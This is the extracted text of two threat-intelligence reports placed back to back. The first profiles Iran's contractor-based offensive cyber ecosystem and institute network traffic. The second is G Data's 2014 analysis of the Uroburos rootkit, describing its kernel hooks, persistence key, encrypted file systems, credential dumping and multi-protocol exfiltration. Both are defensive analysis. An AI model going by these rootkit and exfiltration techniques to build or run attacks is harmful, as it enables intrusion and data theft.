https://en.wikipedia.org/wiki/Operation_Ababil https://www.theatlantic.com/international/archive/2013/10/sheldon-adelson-has-idea-lob-nuclear-bomb-iranian-desert/309657/ https://www.theatlantic.com/international/archive/2013/10/sheldon-adelson-has-idea-lob-nuclear-bomb-iranian-desert/309657/ http://money.cnn.com/2015/02/27/technology/security/iran-hack-casino/index.html http://money.cnn.com/2015/02/27/technology/security/iran-hack-casino/index.html https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment Building a National Capability History and Relationships Between Proxies The Iranian Revolution replaced the Persian monarchy and transitioned the Shahs power to the Islamic Republic, led by Ayatollah Ruhollah Khomeini.
Loyalty to the resulting theocracy was defined by alignment to the Supreme Leaders moral precepts.
The new leaders of Iran also established an intelligence and security organization, the Islamic Revolutionary Guard Corps (IRGC), charged with defending the Islamic Republic against internal and external threats.
Currently, the IRGC is Irans premier security organization and possesses an army, navy, and air force, and manages Irans ballistic missile arsenal and irregular warfare operations through its elite Quds Force and proxies such as Hezbollah.
The IRGC has a vast domestic information security and monitoring mandate, as well as broad foreign mission, and has been linked to cyberattacks against Western institutions since at least 2011.
According to Insikt Groups source, during the 2009 Green Revolution, Gerdab.ir emerged as the IRGCs domestic hacking group tasked with targeting opposition news websites and individuals considered immoral by the regime.
Iranian hackers targeting Iranian government resources (one example was defacing Khamanei.ir) were identified by Gerdab and imprisoned.
Gerdab continues to act as the Iranian governments internal censor.
Following the Green Revolution, the Iranian government considered adding a formal offensive cyber component to its existing intelligence apparatus, and was forced to address a personnel problem.
Iran needed a talented, but politically and religiously reliable workforce.
Stuxnet and scientist assassinations reminded Iran of the efficacy of Mossad and CIA programs, and according to Insikt Groups source, fervent religious ideology was the only way to demonstrate loyalty and build trust.
The emergence of the Iranian Cyber Army (ICA) as an extension of the IRGC was an initial attempt by the Islamic Republic at conducting internationally focused operations.
These operations were a departure from Gerdabs focus on maintaining domestic moral values and defending government rhetoric.
In 2011, the IRGCs ICA formed the foundation of the Khaybar Center for Information Technology.
According to a former IRGC cyber commander, the Khaybar Center was established in 2011 and has been linked to a number of attacks against the United States, Saudi Arabia, and Turkey.
Even today, the balance between ideology and cyber skills remains problematic.
One example of the conflict between ideology and skill was Mohammad Hussein Tajik, a former cyber commander within the IRGC.
According to Insikt Groups source, Tajiks father maintained a strong religious background and was a veteran of Irans ministry of intelligence.
Yet Tajik was arrested and killed because the Iranian government feared that Tajik was not ideologically aligned and posed a betrayal and flight risk.
Recorded Future www.recordedfuture.com CTA-2018-0509 http://foreignpolicy.com/2016/08/24/what-erdogan-and-khomeini-have-in-common-turkey-coup-iran/ http://foreignpolicy.com/2016/08/24/what-erdogan-and-khomeini-have-in-common-turkey-coup-iran/ https://www.cfr.org/backgrounder/irans-revolutionary-guards https://www.cfr.org/backgrounder/irans-revolutionary-guards http://www.washingtoninstitute.org/policy-analysis/view/irans-revolutionary-guards-corps-inc https://en.wikipedia.org/wiki/Stuxnet https://www.politico.com/magazine/story/2018/03/05/israel-assassination-iranian-scientists-217223 https://www.politico.com/magazine/story/2018/03/05/israel-assassination-iranian-scientists-217223 http://www.newsweek.com/irans-cyber-warfare-program-now-major-threat-united-states-745427 https://english.alarabiya.net/en/features/2017/01/15/Secrets-and-activities-of-Iran-s-electronic-army.html https://english.alarabiya.net/en/features/2017/01/15/Secrets-and-activities-of-Iran-s-electronic-army.html https://english.alarabiya.net/en/News/middle-east/2016/12/05/Iran-creates-electronic-Brigades-for-cyber-war.html https://web.archive.org/web/20170118050038/http://www.israelnationalnews.com/News/Flash.aspx/370899 Following the Green Revolution, Irans government needed to quickly improve its cyber capabilities, but according to Insikt Groups source, the talent was primarily young and focused on financial benefits.
This motivation bred government mistrust, as the Islamic Republic feared that the financially motivated could be bought by foreign intelligence services.
Additionally, many of the original Iranian hackers responsible for mass defacements hated authority and lacked the discipline necessary for government work.
According to Insikt Groups source, the government answer was a tiered approach, with a network of people unofficially associated with the IRGC and Iranian government a type of ideologically aligned middle management that were loyal to the regime and demonstrated sufficient religious commitment.
This middle tier translated intelligence priorities into segmented cyber tasks which were then bid out to multiple contractors.
Sometimes the contractors would compete with each other, sometimes they would work together, but payment was only made once the objective was completed.
The result was (and presently remains) a quasi-capitalistic system that pitted contractors against each other for influence with the Iranian government.
In the Islamic Republic, influence can lead to security and wealth, but it can also lead to a false sense of security (no one is above being imprisoned and questioned at any given time).
Thus, contractors must learn to play the game enough surface-level adherence to the regimes ideology to gain temporary reprieves from suspicion long enough to be given contracted work.
To the Iranian government, ideology is more important than skills.
Deep belief in the Ayatollahs precepts and the governments goals helps to avoid defections and traitors.
Recorded Future www.recordedfuture.com CTA-2018-0509 Obfuscating Iranian government involvement in offensive campaigns.
https://opennet.net/sites/opennet.net/files/iranreport.pdf http://www.ilanberman.com/13080/the-iranian-cyber-threat-revisited Recorded Future www.recordedfuture.com CTA-2018-0509 Today, based on ongoing contact between Insikt Groups source and Iranian hackers, it is estimated that there are over 50 organizations vying for government-sponsored offensive cyber projects.
Only the best teams succeed, are paid, and remain in business.
The government does its best to compartmentalize one job might be creating a remote code exploit (RCE) for a popular software application, while another job might be using the RCE and establishing persistent unauthorized access.
Two different contractors (or more) are typically required to complete the government-defined objective.
Public knowledge has also established that Iranian academic institutions play a contractor-like role.
Specific examples include Shahid Beheshti University (SBU) and the Imam Hossein University (IHU), which have comprehensive science and technology departments attracting some of the best academic talent in Iran.
In fact, the SBU has a specific cyberspace research institute dedicated to such matters, and the IHU was founded by the IRGC.
As the Mabna Institute indictments highlight, despite the lifting of sanctions and an appetite to re-engage with the international community, Iran has continued a subversive and aggressive global cyber operations campaign.
This ongoing campaign, which targets universities for scientific and technological intellectual property theft, demonstrates a fundamental lack of trust in the international agreements, including the Joint Comprehensive Plan of Action (JCPOA).
Relationship Between the Iranian Government, Contractors, and Security Forums Clearsky, FireEye, Symantec, and PhishLabs have all performed significant research on Iranian nation-state-sponsored campaigns that provide historical insight into technical capabilities and relationships between the Iranian government and contractors.
The work of the aforementioned security companies and recent U.S. Department of Justice indictments provides consistent evidence that Iranian government-sponsored offensive campaigns are executed by contractors.
FireEye disclosed that the Nasr Institute was an APT 33 contractor in an operation that used publicly available backdoors and remote access trojans.
The handle xman_1365_x (self-identified on security forums as Mahdi Honarvar) was found by FireEye in malware artifacts, which open sources linked to the Nasr Institute.
Previously, Nasr Institute had been associated with Operation Ababils distributed denial-of-service attacks against American banks, an organization which a U.S. Department of Justice indictment confirms had been hired to build attack infrastructure by the Iranian government.
The actor xman_1365_x was then linked to a security company called Kavosh Security via OSINT by Iran Cyber News Agency.
The actor was linked to a destructive operation, which used NewsBeef and StoneDrill malware families.
According to Kaspersky, the latter data wiping operation targeted sectors across Saudi Arabia and Europe.
https://en.wikipedia.org/wiki/Shahid_Beheshti_University https://en.wikipedia.org/wiki/Shahid_Beheshti_University https://en.wikipedia.org/wiki/Imam_Hossein_University http://en.sbu.ac.ir/sitepages/home.aspx http://en.sbu.ac.ir/Research_Institutes/CyberspaceResearch/Pages/default.aspx http://en.sbu.ac.ir/Research_Institutes/CyberspaceResearch/Pages/default.aspx http://www.ihu.ac.ir/ https://www.iranwatch.org/iranian-entities/imam-hussein-university-revolutionary-guards https://www.iranwatch.org/iranian-entities/imam-hussein-university-revolutionary-guards https://www.fbi.gov/wanted/cyber/iranian-mabna-hackers https://www.state.gov/e/eb/tfs/spi/iran/jcpoa/ https://www.state.gov/e/eb/tfs/spi/iran/jcpoa/ https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment https://www.justice.gov/opa/file/834996/download https://www.justice.gov/opa/file/834996/download https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html http://irancybernews.org/en/ICNA/6/393/ https://www.forbes.com/sites/thomasbrewster/2017/09/20/iran-hacker-crew-apt33-heading-for-destructive-cyberattacks/3a61aa224a48 https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html https://www.justice.gov/usao-sdny/file/835061/download http://irancybernews.org/en/ICNA/6/393/ https://securelist.com/from-shamoon-to-stonedrill/77725/ Recorded Future www.recordedfuture.com CTA-2018-0509 Command and control (C2) domains used by StoneDrill and NewsBeef in Kasperskys findings were found to share an SSL certificate, which surfaced an additional three domains in research by the Iran Cyber News Agency.
WHOIS information was then connected via open sources to Imam Hossein University (IHU).
IHU was named in sanctions by the U.S. Treasury for providing, or attempting to provide technological, or other support for and services in support of the IRGC.
Additional publicly known Iranian contractors include ITSecTeam (ITSEC) and Mersad Company, also linked to Operation Ababil.
The links between the Iranian government and contractors are well documented however, the identity of specific groups and individuals within the Iranian government and IRGC responsible for offensive cyber campaigns is murky, as is the relationship between contractors and security forums.
Yet, our research and analysis suggest that Iranian security forums may play a role in staffing and knowledge sharing for Iranian contractors.
First, FireEye referenced the publicly available ALFA TEaM Shell in APT33 spear phishing email campaigns.
The ALFA Shell is discussed in multiple web locations, including Ashiyane and Iranian Dark Coders Team Forum.
ALFA TEaM shell history.
http://irancybernews.org/en/ICNA/6/395/ https://www.treasury.gov/press-center/press-releases/Documents/Fact20Sheet20-20Sanctions20on20Iranian20Govt20and20Affiliates20-20November208,202012.pdf https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html Second, xman_1365_x created an Ashiyane profile on August 8, 2010, allegedly not long after Ashiyane temporarily became the primary security forum in Iran, following Behrooz Kamalians visit to prominent cleric, Ayatollah Naser Makarem Shirazi.
Recorded Future www.recordedfuture.com CTA-2018-0509 xman_1365_x created an Ashiyane profile in 2010.
Source: http://hackingscripts.com/simattacker-shell/ Finally, according to Insikt Groups source, Iranian contractor ITSEC specifically employed hackers from the respective online forums Simorgh and Delta Security.
Further, Hossein Asgari, a self-proclaimed Iranian hacker, managed the Simorgh forum and worked with his father, who was employed by the IRGC.
http://ashiyane.org/forums/member.php?1063336-xman_1365_x http://hackingscripts.com/simattacker-shell/ http://hackingscripts.com/simattacker-shell/ Recorded Future www.recordedfuture.com CTA-2018-0509 Zone-h captured website defacements committed by Hossein Asgari Source: http://www.zone-h.org/mirror/id/4479919 According to Insikt Groups source, to find and retain the best offensive cyber talent, Iranian government contractors are forced to mine closed-trust communities.
The links between the forums and contractors may illustrate that the trust communities begin with the Iranian security forums.
Analyzing Iranian Cyber Institute Internet Traffic Insikt Group analyzed internet traffic relating to various institutes affiliated with the Iranian cyber ecosystem from March 1, 2018 to April 30, 2018.
Our goal was to determine whether any of these institutes had forecasted Irans intentions in cyberspace leading up to the U.S. decision to withdraw from the 2015 JCPOA.
This is Insikt Groups first profiling of internet activity for Iranian cyber institutes.
While we cannot assess whether this level of activity is typical or not, monitoring it over time to determine changes in response to international pressure could be revealing.
Cyberspace Research Institute of Iran Irans Cyberspace Research Institute (CSRI) is a research center affiliated with the prestigious Shahid Beheshti University in Iran.
The institute commands a significant proportion of the universitys allocated IP space, with no fewer than eight /24 IP ranges registered to the CSRI in Iran, according to regional RIPE NCC records.
The ranges are listed below: http://www.zone-h.org/mirror/id/4479919 Recorded Future www.recordedfuture.com CTA-2018-0509 netname inetnum_start inetnum_end country mnt-by created CyberSpace-Research-Institute 31.184.130.0 31.184.130.255 IR MNT-MABNA 2013-08-31T06:02:20Z CyberSpace-Research-Institute 31.184.131.0 31.184.131.255 IR MNT-MABNA 2013-09-15T04:57:21Z CyberSpace-Research-Institute 31.184.132.0 31.184.132.255 IR MNT-MABNA 2013-09-15T05:02:03Z CyberSpace-Research-Institute 31.184.133.0 31.184.133.255 IR MNT-MABNA 2013-09-15T05:10:24Z CyberSpace-Research-Institute 31.184.134.0 31.184.134.255 IR MNT-MABNA 2013-09-15T05:11:21Z CyberSpace-Research-Institute 31.184.135.0 31.184.135.255 IR MNT-MABNA 2017-05-23T05:30:27Z Source: RIPE NCC database, ripe.net.
Insikt Group identified several activities of concern emanating from these ranges.
We discovered over 400 previously unreported SSH sessions between CSRI ranges and Spanish government and university networks from April 4, 2018 to April 9, 2018.
These exchanges involved the transfer of a large volume of data between the two networks.
The Spanish networks resolved to departments supporting the digital transformation of Spanish public services and multi-disciplined universities.
Direct network connectivity between the Iranian and Spanish institutions demonstrates that they either have a deep academic relationship and are sharing data with one another, or the large transfer of data from the Spanish institutes is unwarranted.
It is unlikely that CSRI would have a valid business interest with Spanish government departments, so the large volume of data transferred between the two networks over such a short period of time is a conspicuous indicator of possibly malicious activity.
Throughout April, Irans CSRI simultaneously demonstrated an increased interest in the Philippine Department of Science Technology (DOST).
Similar to the Spanish network interactions, very large data volumes were exchanged between the two networks, denoting strong interest.
This level of engagement and interaction, particularly in light of the reduction of sanctions, and the thawing of relations between Iran and the West following the 2015 JCPOA, was expected between academia.
In fact, in 2015 and 2017, Philippine and Spanish universities agreed to expand scientific cooperation with Iranian institutions.
However, given CSRIs background, Irans demonstrated interest in using cyber operations to steal academic and intellectual property, and our evidence of ongoing campaigns targeting universities for theft worldwide, we assess that this activity between CSRI and these Spanish and Philippine universities may be malicious.
http://www.pcaarrd.dost.gov.ph/home/portal/index.php/quick-information-dispatch/2642-iran-ambassador-visits-pcaarrd https://en.isna.ir/news/96021307811/Iran-Spain-to-expand-scientific-cooperation Recorded Future www.recordedfuture.com CTA-2018-0509 CSRI was also observed in a large number of events dispatching the Parsijoo bot to crawl websites of interest.
According to Wikipedia, Parsijoo.ir is the second most popular search engine in Iran after Google and it uses the Parsijoobot to crawl websites for indexing purposes.
During our research, we noted repeated crawls of a specialist Canadian-Iranian immigration website, www.itc-canada[.
]com, using Parsijoo bot from CSRI IP ranges.
The crawls were observed throughout our data period from early March continuing right through to the end of April, suggesting a strong, persistent interest in this particular site.
Finally, we identified CSRI interacting with IPs registered to Ravand Cybertech Inc. Ravand Cybertech offers, via its website ravand[.
]com, cloud hosting solutions, among other services.
Ravand Cybertech has strong ties to the Iranian regime.
Historically, it hosted the website of the conservative news agency Fars which is affiliated with the Iranian military.
The companys registered IP ranges sit under AS12212 with the following prefixes ranged 198.55.48.0 198.55.61.255, 198.55.63.0 198.55.63.255 and 207.176.216.0 207.176.219.255.
Ravand Cybertech hosted a number of domains used by an Iranian Ministry of Intelligence Services (MOIS) agent, Massoud Khodabandeh, in a disinformation campaign conducted in Western media.
The campaign attempted to discredit and demonize the main Iranian opposition party, the Peoples Mojahedin Organization of Iran/Mojahedin-e Khalq (PMOI/MEK).
According to an opinion piece written for The Hill, the websites were found by the Pentagon to be created by order from Tehran.
Ravand Cybertech was identified as being an Iranian state-run company, which hosted fake news sites aimed at disseminating Iranian propaganda to undermine the efforts of Iranian-American lobbyists.
Based on the volume of activity observed during our research, we assess the CSRI may be engaged in supporting the malicious disinformation activities of Ravand Cybertech.
Imam Hossein University (Imam Hussein University) The Imam Hossein Comprehensive University (IHU) is an Iranian university based in Tehran that is affiliated with the Iranian Revolutionary Guard Corps (IRGC), the Iranian Ministry of Science, Research and Technology, and the Iranian Ministry of Defense and Armed Forces Logistics.
http://itc-canada.com/fa/home.htm https://www.memri.org/reports/iranian-regime-affiliated-websites-and-their-hosts http://thehill.com/blogs/pundits-blog/international/319141-americans-must-be-wary-of-irans-influence-over-us-media http://thehill.com/blogs/pundits-blog/international/319141-americans-must-be-wary-of-irans-influence-over-us-media http://iranlobby.net/campaign-of-disinformation-by-iran-regime-revealed/ Recorded Future www.recordedfuture.com CTA-2018-0509 netname inetnum_start inetnum_end country mnt-by created IMAMHOSSEINUNI 217.218.175.0 217.218.176.255 IR AS12880-MNT 2008-12-28T10:20:37Z IHUO 78.39.164.160 78.39.164.167 IR AS12880-MNT 2015-09-05T04:48:32Z Source: RIPE NCC database, ripe.net.
During our research, we found that IHU was also very interested in Spanish higher educational establishments and specific government departments.
In fact, two of the same Spanish establishments exchanged high data volumes with the IHU source range IPs.
Further web browsing activity from IHU ranges was noted to the website of a U.S.-based multinational engineering software company, Gamma Technologies.
The browsing activity was centered on its GT-SUITE software.
Gamma Technologies specializes in the development of simulation software for a wide variety of worldwide industries, including power generation.
Mabna Institute As previously detailed, the Mabna Institute was publicly identified in an FBI indictment as a front company engaged in hostile state-sponsored cyberespionage on behalf of the Iranian state.
Our OSINT research identified a single domain, mabna-ins[.
]ir, which could correspond to the group.
The domain was previously hosted on an Iranian IP 5.144.130[.
]23 and since April 22, 2017, points at German VPS IP 144.76.87[.
]86.
This VPS also hosts over 2,000 other domains, most of which are .ir domains.
Our research focused on the publicly noted IP ranges for the university, listed below: https://www.fbi.gov/wanted/cyber/iranian-mabna-hackers Recorded Future www.recordedfuture.com CTA-2018-0509 Source: mabna-ins[.
]ir Intent, Scenarios for Retaliation, and Recommendations According to the terms of the JCPOA, Tehran agreed to restrictions on its nuclear weapons program in exchange for sanctions relief.
However, various provisions of the accord expire at different times over the next 25 years, with some expiring as soon as 2025.
On May 8, 2018, President Trump decided not to renew the waivers suspending some U.S. sanctions against Iran and initiated a de facto U.S. withdrawal from the agreement.
As a result of this action, we assess that Iran will likely respond quickly by launching destructive attacks on American, European, and rival nation (countries such as Saudi Arabia and Israel) businesses.
Conversely, Iran may also retaliate (exclusively or in conjunction with destructive attacks) through cyber proxies in more methodical and sustained campaigns.
Given the impact of re-applied and expanded economic sanctions, it is likely that American, European, and rival nation businesses will also be targeted with more sustained destructive attacks.
https://www.state.gov/documents/organization/245317.pdf https://www.reuters.com/article/us-iran-nuclear-france/france-opens-door-to-strengthen-iran-nuclear-deal-for-post-2025-idUSKCN1BT1IY?il0 https://www.reuters.com/article/us-iran-nuclear-usa/trump-has-all-but-decided-to-withdraw-from-iran-nuclear-deal-sources-idUSKBN1I331R https://www.wsj.com/articles/pompeo-begins-first-official-foreign-trip-amid-uncertainty-over-iran-deal-1524821386 Recorded Future www.recordedfuture.com CTA-2018-0509 As documented above, when pursuing quick-turn cyber operations, the Iranian regime will weigh religious and political reliability against offensive skills.
The best operators are not always the most devout or loyal to the regime and we assess that, in this case, the IRGC may forgo careful contractor selection and planning in an attempt to deliver a destructive attack within a short period of time.
Further, our research indicates that because of the need for a quick response, the Islamic Republic may utilize contractors that are less politically and ideologically reliable (and trusted) and as a result, could be more difficult to control.
It is possible that this dynamic could limit the ability of the government to control the scope and scale of these destructive attacks once they are unleashed.
Western businesses should closely monitor geopolitical events initiated by the United States or Europe that affect Iran.
As demonstrated above, Western businesses are the logical victims of Iranian retaliation for perceived American policy transgressions specifically businesses in financial services, government departments, critical infrastructure providers, and oil and energy sectors.
In addition to carefully monitoring Iranian geopolitical developments, tracking emerging tactics, techniques, and procedures (TTPs) on Ashiyane, specifically, is wise for any Western commercial threat intelligence program to determine the efficacy of existing security controls.
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G Data Red Paper 2014 Uroburos Highly complex espionage software with Russian roots G Data discovers alleged intelligence agency software G Data SecurityLabs Contact: intelligencegdata.de Re d Pa p er _F eb ru ar y- 20 14 G Data Red Paper February 2014: Uroburos Contents Executive Summary ............................................................................................................................. 2 What is Uroburos?
................................................................................................................................
2 Technical complexity suggests connections to intelligence agencies ...................................................... 2 Relation to Russian attack against U.S. suspected ............................................................................................ 2 Probably undiscovered for at least three years .................................................................................................. 3 Infection vector still unknown .................................................................................................................................. 3 Analysis ................................................................................................................................................. 4 Uroburos name ............................................................................................................................................................. 4 Rootkit framework ........................................................................................................................................................ 5 Hiding malicious activities with the help of hooks ........................................................................................... 5 Virtual file systems ........................................................................................................................................................ 6 The NTFS file system .................................................................................................................................................... 6 Third party tools ............................................................................................................................................................ 7 Injected libraries - controlling the activities ........................................................................................................ 8 Network capabilities .................................................................................................................................................... 9 Victims and attribution ............................................................................................................................................ 10 Conclusion .......................................................................................................................................... 11 Technical details ................................................................................................................................. 11 Copyright 2014 G Data Software AG 1 G Data Red Paper February 2014: Uroburos Executive Summary G Data Security experts have analyzed a very complex and sophisticated piece of malware, designed to steal confidential data.
G Data refers to it as Uroburos, in correspondence with a string found in the malwares code and following an ancient symbol depicting a serpent or dragon eating its own tail.
What is Uroburos?
Uroburos is a rootkit, composed of two files, a driver and an encrypted virtual file system.
The rootkit is able to take control of an infected machine, execute arbitrary commands and hide system activities.
It can steal information (most notably: files) and it is also able to capture network traffic.
Its modular structure allows extending it with new features easily, which makes it not only highly sophisticated but also highly flexible and dangerous.
Uroburos driver part is extremely complex and is designed to be very discrete and very difficult to identify.
Technical complexity suggests connections to intelligence agencies The development of a framework like Uroburos is a huge investment.
The development team behind this malware obviously comprises highly skilled computer experts, as you can infer from the structure and the advanced design of the rootkit.
We believe that the team behind Uroburos has continued working on even more advanced variants, which are still to be discovered.
Uroburos is designed to work in peer-to-peer mode, meaning that infected machines communicate among each other, commanded by the remote attackers.
By commanding one infected machine that has Internet connection, the malware is able to infect further machines within the network, even the ones without Internet connection.
It can spy on each and every infected machine and manages to send the exfiltrated information back to the attackers, by relaying this exfiltrated data through infected machines to one machine with Internet connection.
This malware behavior is typical for propagation in networks of huge companies or public authorities.
The attackers expect that their target does have computers cut off from the Internet and uses this technique as a kind of workaround to achieve their goal.
Uroburos supports 32-bit and 64-bit Microsoft Windows systems.
Due to the complexity of this malware and the supposed spying techniques used by it, we assume that this rootkit targets governments, research institutes, or/and big companies.
Relation to Russian attack against U.S. suspected Due to many technical details (file name, encryption keys, behavior and more details mentioned in this report), we assume that the group behind Uroburos is the same group that performed a cyberattack against the United States of America in 2008 with a malware called Agent.
BTZ.
Uroburos checks for the presence of Agent.
BTZ and remains inactive if it is installed.
It appears that the authors of Uroburos speak Russian (the language appears in a sample), which corroborates the relation to Agent.
BTZ.
Furthermore, according to public newspaper articles, this fact, the usage of Russian, also applied for the authors of Agent.
BTZ.
According to all indications we gathered from the malware analyses and the research, we are sure of the fact that attacks carried out with Uroburos are not targeting John Doe but high profile enterprises, nation states, intelligence agencies and similar targets.
Copyright 2014 G Data Software AG 2 G Data Red Paper February 2014: Uroburos Probably undiscovered for at least three years The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed in this environment.
The oldest driver we identified was compiled in 2011, which means that the campaign remained undiscovered for at least three years.
Infection vector still unknown At the current stage of the investigations it is unknown how Uroburos initially infiltrates high profile networks.
Many infection vectors are conceivable.
E.g.
spear phishing, drive-by-infections, USB sticks, or social engineering attacks.
Copyright 2014 G Data Software AG 3 G Data Red Paper February 2014: Uroburos Analysis The G Data SecurityLabs discovered the rootkit dubbed Uroburos during 2013.
We decided to investigate in depth soon after we identified the following three interesting aspects: the usage of virtual file systems the complexity of the framework the advanced network capabilities Uroburos name Uroburos is a direct reference to the Greek word Ouroboros ().
The Ouroboros is an ancient symbol depicting a serpent or dragon eating its own tail.
The name of this rootkit is inspired by a plain text string available in several driver files: Ur0bUr()sGotyOu Furthermore, we identified other references to the ancient serpent/dragon symbol within the rootkits code, for example the following strings: inj_snake_Win32.dll inj_snake_Win64.dll snake_alloc snake_free snake_modules_command Another interesting notion: The exact spelling, Uroburos, can even be found in a webcomic called Homestuck.
In this interactive webcomic, the reader/player needs two codes to receive virtual magic objects (called juju).
Those two codes are in fact uROBuROS and UrobUros.
We can notice that the uppercase and lowercase character order matches the string found within the malware code.
Figure 1: Uroburos name string within the drivers code Figure 2: Homestuck webcomic http://www.mspaintadventures.com/?s6 Copyright 2014 G Data Software AG 4 G Data Red Paper February 2014: Uroburos Rootkit framework The rootkit is basically composed of two files: a driver (.sys file) a virtual file system (.dat file).
We identified several file names for the driver, for example: Ultra3.sys, msw32.sys, vstor32.sys.
We have encountered 32-bit and 64-bit driver versions.
The two binaries may be installed simultaneously on one system.
The file containing the virtual file system has a random name, followed by the extension .dat.
Furthermore, this file is located in the same directory as the driver file.
The installation directory does change, but we were able to identify the following pattern: SYSTEMROOT\Ntuninstall[Random_ID] The malwares persistence is established by the creation of a service which automatically executes during each startup of the system.
The service is located in HKLM\System\CurrentControlSet\Services\Ultra3 The driver is needed to decrypt the virtual file systems create several hooks to hide its activities inject libraries in the users land establish and manage some communication channels Hiding malicious activities with the help of hooks A rootkit naturally tries to hide its activities from the user and so does Uroburos.
The driver uses inline patching to perform the hooks, which is a common way to perform this task.
Inline patching is carried out by modifying the beginning of a targeted systems function in order to redirect the execution flow to a custom code before jumping back to the original function.
In the current case, the inline patching adds a new interrupt instruction (int 0xc3) at the beginning of the hooked function.
Doing this, the malware adds malicious behavior to legitimate functions.
Figure 3: Hook function is called and calls, in turn, the legitimate function Copyright 2014 G Data Software AG 5 G Data Red Paper February 2014: Uroburos The main hooked functions are: ZwQueryKey(), ZwEnumerateKey(), ZwCreateKey() and ZwSaveKey() their purpose is to hide the persistence keys in the registry ZwReadFile() its purpose is to hide the driver and file system files ZwQuerySystemInformation() its purpose is to hide rootkit handles ZwTerminateProcess() its purpose is to terminate cleanly the rootkit during the shutdown of the operating system ObOpenObjectByName() its purpose is to hide the rootkits virtual file systems Virtual file systems The Uroburos rootkit uses two virtual file systems one NTFS file system and one FAT file system.
They are stored locally, on the infected machine.
This means that the victims computer contains an encrypted file, which, in reality, hosts another file system.
The virtual file systems are used as a work space by the attackers.
They can store third party tools, post-exploitation tools, temporary files and binary output.
The virtual file systems can be accessed through the devices \Device\RawDisk1 and \Device\RawDisk2 and the volume \\.\Hd1 and \\.\Hd2.
The NTFS file system The encryption used for the file systems is CAST-1281.
The respective encryption key is hardcoded within the driver file.
Once decrypted, the virtual file system is a classic NTFS volume, which can be simply accessed through the standard Microsoft file system APIs.
During our analysis, we identified several files the file systems contained: .bat scripts used by the attackers .log files with the output of the execution of the .bat files third party tools queue files The .bat scripts contain some net use commands to map a remote file server, netstat commands to have network information, system info commands to get a complete view of the system configuration.
1 http://en.wikipedia.org/wiki/CAST-128 Figure 4: ZwQueryKey() hook creation Figure 5: Example of one of the .bat scripts Copyright 2014 G Data Software AG 6 G Data Red Paper February 2014: Uroburos The queue file is the most interesting and complex part of the virtual file system.
Each message in the queue contains a unique ID, a type, a timestamp and content.
The content is also encrypted using the CAST-128 algorithm and the respective key is stored in a message, too.
The messages can contain the following information: a key to decrypt other messages a configuration a file (or library injected in user land) Third party tools We found classic post-exploitation tools, used by a lot of different APT actors.
The following list provides an overview of the tools found in the virtual file system: Dumper for NTLM (hash of a users password).
This information can be used to perform pass the hash2 attacks, to compromise new systems within the infrastructure information gathering tools, to get information on the infected system RAR tools, to create archives of stolen documents Microsoft Office document stealer 2 http://en.wikipedia.org/wiki/Pass_the_hash Figure 6: Information gathering example Copyright 2014 G Data Software AG 7 G Data Red Paper February 2014: Uroburos Injected libraries - controlling the activities The driver injects several libraries into user land.
These libraries are stored in encrypted form in the queue file.
These files are used to create a kind of proxy between the kernel land and the user land.
The driver injects two noteworthy libraries: inj_services_Win32.dll inj_snake_Win32.dll If the infected system is a 64-bit system, Win32 is replaced by Win64.
The libraries are very huge (more than 150 functions) and contain a lot of features.
They are able to manipulate the queue file from the user land.
Following, a list of functions dedicated to the queue management (qm): qm_create() qm_enum() qm_find_first() qm_free() qm_move() qm_pop() qm_push() qm_read() qm_read_hdr() qm_reset_len() qm_rm() qm_rm_list() qm_set_dates() qm_set_parem() qm_write() The libraries have the capability to create and manage a pcap3 capture.
The purpose of this feature is to generate a snapshot of the network traffic.
The libraries are furthermore used to exfiltrate data to the outside world, namely the attackers.
We identified several protocols to perform this task: generally, the configuration needed for each protocol is stored in the queue file and not within the library itself.
HTTP protocol the attackers can choose to use a website to exfiltrate data.
The rootkit supports GET and POST requests and proxy authentication, too.
The default URI is http://s/default.asp but it is configurable.
The media type of the request is chosen from the following list: application/vnd.ms-powerpoint application/vnd.ms-excel application/msword image/gif image/x-bitmap image/jpeg image/pjpeg application/x-shockwave-flash or / 3 http://en.wikipedia.org/wiki/Pcap Copyright 2014 G Data Software AG 8 G Data Red Paper February 2014: Uroburos ICMP protocol the attackers can choose to use ICMP (ping) to exfiltrate data SMTP protocol the attackers can send exfiltrated data by email Named pipe the attackers can use Microsofts named pipe to communicate to another infected machine.
This case will be described in the next chapter The design chosen by the developers is truly efficient: to add a new protocol and a new capability, the attackers do not need to recompile (or reinstall) the entire rootkit.
They simply need to adjust the library and replace the library in the queue file with the adjusted one.
The library usage results in modularity well thought out.
Network capabilities Thanks to the protocol described previously, the attacker can even target victims not directly connected to the Internet.
The following figure shows an example of a network scheme we discovered in 2013: The targeted machine (A) is a machine with access to sensitive data, e.g.
a server.
The rootkit installed on the system opens a Microsoft named pipe and waits for an incoming connection.
This machine can be named spied-on node.
Figure 8: Uroburos communication capabilities Figure 7: HTTP media type list Copyright 2014 G Data Software AG 9 G Data Red Paper February 2014: Uroburos The second machine (B) is an office machine with the capability to connect to the Internet.
The rootkit is configured to connect to system (A), with the help of the named pipe, and administrate the machine remotely.
Finally, machine (B) is able to pass on all data received from machine (A) to the Internet.
This machine (B) could be named proxy node.
This peer-to-peer design is really efficient, scalable and resilient.
In case a proxy node is not available/detected, the attackers can use another infected one.
The advantage for the attackers: even if a security specialist finds one spied-on node, he cannot easily find the proxy node, due to the fact that this node is a passive node.
Furthermore, the analyst does not automatically have the command and control URL.
In case of incident response, this design is complicated to apprehend and it is hard to contain the infection.
